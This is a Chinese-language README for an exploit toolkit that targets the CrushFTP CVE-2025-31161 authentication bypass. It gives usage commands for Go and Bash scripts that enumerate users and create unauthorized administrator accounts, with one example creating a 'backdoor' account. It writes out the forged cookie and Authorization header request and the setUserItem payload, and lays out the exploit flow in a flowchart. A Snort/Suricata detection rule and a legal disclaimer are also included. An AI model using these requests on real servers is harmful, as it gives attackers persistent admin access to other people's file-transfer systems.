针对CrushFTP CVE-2025-31161认证绕过的漏洞利用:通过Go和Bash中的精心构造HTTP请求,检测易受攻击的目标、枚举用户并创建未经授权的管理员账户。
一个用于利用 CVE-2025-31161 的综合性工具包,该漏洞是 CrushFTP 中的认证绕过漏洞,允许未经授权的用户账户创建。
CVE-2025-31161 是 CrushFTP 中的一个严重认证绕过漏洞,允许攻击者在未经正确认证的情况下创建未经授权的用户账户。此漏洞存在于 Web 界面的用户管理功能中。
-t、-p、-tu 标志快速访问CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # 本文档
├── cve-2025-31161.go # Go 实现(推荐)
├── cve-2025-31161.sh # Bash 实现
└── LICENSE # MIT 许可证
# 安装 Go(如果尚未安装)
sudo apt install golang-go
# 或
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# 需要 curl(通常预装)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# 使用简短标志的基本用法
go run cve-2025-31161.go -t example.com -lu
# 使用自定义端口
go run cve-2025-31161.go -t example.com -p 8080 -lu
# 长格式标志
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# 创建新用户(将提示输入用户名/密码)
go run cve-2025-31161.go -t example.com -au
# 使用自定义目标用户(默认:crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# 长格式标志
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# 基本用法
./cve-2025-31161.sh -t example.com -lu
# 使用自定义端口
./cve-2025-31161.sh -t example.com -p 8080 -lu
# 创建新用户
./cve-2025-31161.sh -t example.com -au
# 使用自定义设置
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# 示例 1:枚举目标上的用户
go run cve-2025-31161.go -t ftp.example.htb -lu
# 示例 2:创建后门账户
go run cve-2025-31161.go -t ftp.example.htb -au
# 然后输入:用户名: backdoor, 密码: P@ssw0rd123
# 示例 3:非标准端口与用户枚举
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# 查看帮助
./cve-2025-31161.sh --help
flowchart TD
A[开始利用] --> B[检查目标连通性]
B --> C{目标可达?}
C -->|否| D[退出:连接失败]
C -->|是| E[发送 getUserList 请求]
E --> F{响应包含 OK?}
F -->|否| G[退出:不受影响]
F -->|是| H[目标易受攻击!]
H --> I{选择模式?}
I -->|列出用户 -lu| J[解析 XML 响应]
J --> K[显示用户列表]
K --> L[退出:成功]
I -->|添加用户 -au| M[提示输入用户名]
M --> N[提示输入密码]
N --> O[发送预热请求]
O --> P[构造用户创建载荷]
P --> Q[发送 setUserItem 请求]
Q --> R{用户创建成功?}
R -->|是| S[成功:账户已创建]
R -->|否| T[失败:利用失败]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2脚本首先发送 getUserList 请求检查目标是否易受攻击:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
如果响应包含 <response_status>OK</response_status>,则目标易受攻击。
当使用 -lu 标志时,脚本解析 XML 响应并提取用户名:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
输出:
[+] 用户:
- ben
- crushadmin
- default
当使用 -au 标志时,脚本发送带有恶意 XML 载荷的 setUserItem 请求:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
脚本检查响应中是否包含 <response_status>OK</response_status> 以确认用户创建成功。
该漏洞源于 CrushFTP Web 界面用户管理功能中对认证检查不充分。应用程序接受用户创建请求时未正确验证调用者的权限。
setUserItem 请求/webinterface/function/ 端点的访问# Snort/Suricata 规则示例
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 利用尝试"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ 重要:本工具设计用于:
请勿在未经明确书面许可的系统上使用。未经授权访问计算机系统是违法的,可能导致严重的法律后果。
欢迎贡献!请:
git checkout -b feature/improvement)git commit -am '添加新功能')git push origin feature/improvement)| 版本 | 日期 | 变更 |
|---|---|---|
| 1.0.0 | 2025-01-XX | 初始版本,包含 Go 和 Bash 实现 |
| 1.1.0 | 2025-01-XX | 交互模式和漏洞检测 |
| 1.2.0 | 2025-10-02 | 添加用户枚举 (-lu)、分离添加用户模式 (-au)、简短标志 (-t、-p、-tu) |
如有问题、建议或安全问题,请在本仓库中打开 issue。
| 标志 | 长格式 | 描述 | 默认值 |
|---|
-t | --target_host | 目标主机名或 IP(必填) | - |
-p | --port | 目标端口 | 80 |
-tu | --target_user | 用于利用的目标用户 | crushadmin |
-lu | --list-users | 列出现有用户 | - |
-au | --add-user | 添加新用户(交互式) | - |
--help | 显示帮助信息 | - |